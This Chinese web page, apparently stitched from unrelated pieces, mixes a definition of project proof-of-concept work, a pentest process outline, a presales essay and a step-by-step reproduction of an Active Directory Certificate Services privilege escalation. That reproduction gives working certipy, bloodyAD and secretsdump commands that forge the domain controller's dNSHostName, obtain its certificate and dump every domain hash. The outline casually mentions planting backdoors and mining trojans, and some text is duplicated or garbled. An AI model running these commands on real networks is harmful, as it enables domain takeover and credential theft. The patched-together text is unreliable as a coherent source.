项目POC的作用是什么?,第1张

观点提供证据,是一套建议的电子模型

POC经常会伴随产品的开发。在客户签署关于设计的文档时,反馈POC是一个极其重要的项目里程碑。若在下一阶段需要修改产品设计,则需要按照受控的变更控制流程以得到认可及批准。

在整个项目过程中进行检查或处理停顿时,客户的一个重要职责就是为按期交付而保证已确认的进度表,并同意为防止计划被耽搁而需再投资的情况出现。

包含以下几个流程:

信息收集

第一步做的就是信息收集,根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。

漏洞探测

当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:SQL注入 。

漏洞利用

探测到了该网站存在漏洞之后,就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。

内网渗透

当我们能跟内网主机进行通信后,我们就要开始进行内网渗透了。可以先使用nmap对内网主机进行扫描,探测在线的主机,并且探测其使用的操作系统、开放的端口等信息。

内网中也有可能存在供内网使用的内网服务器,可以进一步渗透拿下其权限。

痕迹清除

达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马。

撰写渗透测试保告

在完成了渗透测试之后,就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击。

当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。这一漏洞最早由安全研究员Oliver Lyak发现并公开分析过程和POC,微软在2022年5月的安全更新中对其进行了修补。

影响范围较广,包括Win81、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,详细版本号可以参考微软官方的公告(参考链接)。

操作系统:

Win10、Win Server 2016、Kali-linux-20221。

分析工具:

ADExplorer、Certipy、bloodyAD、impacket、PKINITtools。

关于这个漏洞的分析和复现文章网上已经很多了,但是笔者在分析和复现这个漏洞时遇到的一些“坑”大多并未提及。所以,今天主要分享遇到的问题和解决方法。

首先设置Win Server 2016的IP地址为固定IP,然后设置其DNS服务器地址。测试时域控服务器的计算机名为dc,IP为192168220160,网关为1921682201

接下来是安装域控环境。在Win Server 2016安装域控环境比较简单,安装时,使用超级管理员Administrator登录,然后在服务管理器的仪表盘界面选择添加角色和功能,在弹出的向导中按照默认选项,直接“下一步”即可,注意在服务器角色界面中勾选“Active Directory域服务”即可,如下图所示

域服务安装完成后,选择“将此服务器提升为域控制器”,如下图所示:

然后选择“添加新林”指定根域名,笔者测试时设置的是:fenghuotailocal,如下图所示:

其他的选项按照默认设置就可以了,另外,安装过程中会自动安装DNS服务器,安装成功后需要重启计算机。

最后是安装域证书服务。还是在服务管理器的仪表盘界面选择添加角色和功能,在弹出的向导中按照默认选项,直接“下一步”即可,注意在服务器角色界面中勾选“Active Directory证书服务”即可,如下图所示:

然后在选择角色服务的步骤中,需要额外再选择“证书颁发机构Web注册”,如下图所示:

域证书服务安装成功后,需要再配置域证书服务,如下图所示:

在配置域证书服务中,需要选择“证书颁发机构”和“证书颁发机构Web注册”,如下图所示:

最后再选择“企业证书”(如果不是域成员,无法选择该选项,但默认账号Administrator可以),如下图所示:

其他选项按照默认设置即可。

域控服务和域证书服务安装成功后,在服务管理器的仪表盘的工具菜单中选择“Active Directory管理中心”,然后在Users分组下新建一个用户账号,输入密码和选择“密码永不过期”,模拟加入域环境的普通用户账号。分析时使用的普通用户账号是testcve,如下图所示:

域普通用户账号建立好后,再选择另外一台计算机,测试时使用的是64位的 Win10系统,计算机名为testmachine,加入刚建立的域fenghuotailocal,然后使用刚建立的域普通用户账号testcve登录(加入域的方法请自行搜索,此步骤无特殊设置)。到此,测试环境就搭建好了。

以域普通用户账号testcve登录Win10计算机后,使用ADExplorer工具分析该提权漏洞产生的原因。

ADExplorer工具需要先登录,分析时使用普通域用户账号testcve登录fenghuotailocal域,如下图所示:

登录成功后,展开左边的树形控件“DC=fenghuotai,DC=local”,然后再展开“CN=Computers”和“CN=Users”,可以分别看到刚才新加入域的名为CN=TESTMACHINE的win10计算机机器账号和普通域用户账号CN=testcve,这两个账号均包含了很多属性值,如下图所示:

每个属性的具体含义可以参考微软官方的帮助文档,此次分析只关注该漏洞相关的属性。默认情况下,域用户账号可以申请User证书,域计算机机器账号可以申请Machine证书,两个证书都允许客户端身份验证。

展开Computers分组,选中刚才加入域的计算机CN=TESTMACHINE,其中一项属性dNSHostName的内容为testmachinefenghuotailocal,testmachine就是新加入域的Win10计算机的计算机名,这个属性是向域证书服务申请机器账号证书时用于标识指定计算机机器账号的,也就是说dNSHostName的内容和机器证书是绑定的,不同机器账号的dNSHostName内容,就会得到不同的证书。另外属性sAMAccountName的内容为TESTMACHINE$,这个属性作为计算机机器账号名,如下图所示:

那么可以将dNSHostName的内容改为域控服务器的内容吗?如果可以的话,岂不是就伪造成域控服务器的机器账号了吗?尝试将其内容改为dcfenghuotailocal,却会得到一个错误,更改失败,如下图所示:

为什么会出现这个错误?因为dNSHostName属性和另外一个servicePrincipalName属性是相关联的,更改dNSHostName属性后,域控服务器将自动更新servicePrincipalName属性的值。这样就导致和原域控服务器机器账号的servicePrincipalName属性冲突了。TESTMACHINE$机器账号属性servicePrincipalName中的内容,如下图所示:

但是如果删除了其servicePrincipalName属性中的两项内容RestrictedKrbHost/testmachinefenghuotailocal和HOST/testmachinefenghuotailocal,更改dNSHostName属性的内容为dcfenghuotailocal,不会导致冲突,更改将会成功。

属性servicePrincipalName中删除了两项后的内容,如下图所示:

但是如果删除了其servicePrincipalName属性中的两项内容RestrictedKrbHost/testmachinefenghuotailocal和HOST/testmachinefenghuotailocal,更改dNSHostName属性的内容为dcfenghuotailocal,不会导致冲突,更改将会成功。

属性servicePrincipalName中删除了两项后的内容,如下图所示:

dNSHostName属性的内容成功更改为域控服务器的内容dcfenghuotailocal,如下图所示:

到此,普通机器账号TESTMACHINE ,然后从Active Directory证书服务中申请到域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。

根据该漏洞的分析结果,想要成功利用该漏洞,需要满足如下几个条件:

1、域控服务器系统版本

Win81、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,详细版本号可以参考微软官方的公告(参考链接)。

2、域内普通用户账号权限

需要获取域内至少一个普通用户账号权限,并且需要该账户对dNSHostName等属性具有相应的权限。默认情况,普通用户账号具有该权限。

3、企业证书服务

域内部署有企业证书服务,并允许被控制的计算机账户申请计算机身份验证证书。

环境搭建过程不再赘述,参照分析过程即可,攻击机选择Kali-linux-20221,需要安装额外的工具Certipy、bloodyAD、impacket、PKINITtools

首先需要获取域控服务器,域证书服务器的一些基本信息。在受控的主机上执行powershell命令Get-ChildItem Cert:\LocalMachine\Root\,得到域证书服务器地址fenghuotai-DC-CA,域控服务器地址fenghuotailocal,域控计算机名为dc,如下图所示:

设置攻击机的DNS服务器地址为域控DNS服务器地址,或者在本地hosts文件中设置域控和与证书服务器域名的ip,不然会导致无法解析域名等错误。设置kali的hosts文件内容,如下图所示:

复现环境准备好后,先使用掌握的域内普通用户账号申请证书,并验证登录,测试复现环境是否异常。申请证书命令certipy req 'fenghuotailocal/testcve:1qaz3edc@dcfenghuotailocal' -ca fenghuotai-DC-CA -template User

可能会遇到NETBIOS超时现象,重新执行一次申请证书命令即可。

申请用户账号证书成功后,执行命令certipy auth -pfx testcvepfx验证该证书,获取其NT hash,如下图所示:

成功获取到了NT hash,说明测试环境没问题。如果遇到错误(特别是还原域控虚拟机后),说明域控有些服务没正确启动。需要重启域控服务器,待仪表板上的服务项启动后,或者手动启动后,再重启Kerberos Key Distribution Center(kdc)服务。不知道实战中是否会遇到该错误,如果遇到了,后面的利用就无法进行了。

使用命令python bloodyADpy -d fenghuotailocal -u testcve -p '1qaz3edc' --host 192168220160 addComputer pwnmachine 'CVEPassword1234 ',新建一台名为pwnmachine,密码为CVEPassword1234 的机器账号,如下图所示:

然后使用命令python bloodyADpy -d fenghuotailocal -u testcve -p '1qaz3edc' --host 192168220160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai,DC=local' dNSHostName '["dcfenghuotailocal"]',设置其dNSHostName 属性为域控服务器属性,如下图所示:

设置成功后使用命令certipy req 'fenghuotailocal/pwnmachine 的证书,其实申请到的是域控dc$的证书,如下图所示:

获取到域控的机器账号证书后,使用命令certipy auth -pfx /dcpfx -dc-ip 192168220160进行登录验证,获取其NT hash,如下图所示:

然后使用impacket工具examples目录下的 secretsdumppy 脚本,命令为python3 secretsdumppy 'fenghuotailocal/dc$@dcfenghuotailocal' -hashes :d396bce5a7bf19ed7bfa58b8f923357a,获取域内所有账号hash,如下图所示:

当然,还可以使用PKINITtools工具,获取域控最高权限shell。

项目里poc,即概念验证。通常是企业进行产品选型时或开展外部实施项目前,进行的一种产品或供应商能力验证工作。PoC工作按照不同企业,和程度,测试的方式和投入力度不一样。但是目的都是相同的,验证产品或供应商能力真实满足企业需求。

Poc

在电子模型中 ,POC是Proof of Concept(为观点提供证据)的缩写,则在黑客圈中,POC指观点验证程序。

在化学名词中它指颗粒有机碳,在通讯技术名词中,POC(PTT Over Cellular)意为无线一键通功能,也称PTT(Push To Talk)。

而在图像技术中,POC(picture order count)指图像序列号。另外,在医疗设备领域,POC(point-of-care)指床边即时检测。

         由于工作的转变,现在需要经常写方案。遇到最多的情况是,某某客户说想要买什么什么产品,让我们出两三个方案。对于售前来说,其实最反感的就是这句话,感觉这是对售前的践踏,先不论问题方案是否能仔细深入,往往这种方案写过去十有八九是石沉大海的。

         从售前的角度分析,首先销售需要售前和客户进行一次深入的沟通,很多时候销售直接从客户那边获得信息往往不准确。那是因为销售不懂技术或客户不懂产品导致。沟通的目的就是为了彻底了解客户得需求,对需求进行分析,并把分析的结果直接反馈给客户。当然有些沟通可能需要多次,客户自己也需要去了解。有了这些基础,售前可以出一个简单的方案,方案中只要包括产品技术得简单介绍对比和预算价格即可。这一步也是关键。很多客户看到预算后会直接放弃。这时候销售起很大作用,很多整体方案是可以分期进行的。可以先做一部分,然后下一年再做一部分。当然有这些还远远不够。

         从售前看POC测试也很重要,特别对于那些兼容性要求很高的产品。POC测试一方面是看目前的环境是否具备该方案实施兼容性。最重要的是让客户了解方案的特点和性能,打消心中的疑虑。另外一方面也要让客户投入精力来配合POC测试。从心理学角度看,如果让客户花精力投入的项目往往成交的比例会很高,特别对于那些可上可不上的项目尤为重要。

       POC测试做完后,如果客户觉得效果不错,那就需要详细的方案探讨,和产品详细清单,有必要得话可以把其他地方的实施流程和工程师团队也放上去。如果客户觉得没有问题就到招标阶段。这个阶段不在本文讲述得范围之内。

         谈到招标前,还有一个重要的内容不能遗漏。有些客户项目费用控制在一定范围之内是不用招标的,如果这样的话,可以减少竞争,便于项目在可控范围之内,所以把握客户的费用控制预算很重要。另外需要申请招标的也有两种,一种是上一年年底就已经报预算,这种项目只有费用控制在一定范围内,问题应该不大。另一种是有项目报预算的,对于这种项目要仔细考虑,多和客户沟通,因为报预算需要更高层的领导支持。一旦客户的经营出现下滑,或高层领导不看好这个项目,或觉的费用太高,都可能导致项目的终止。所以必须充分了解客户情况,这是尤为重要。

DABAN RP主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
网站模板库 » 项目POC的作用是什么?

0条评论

发表评论

提供最优质的资源集合

立即查看 了解详情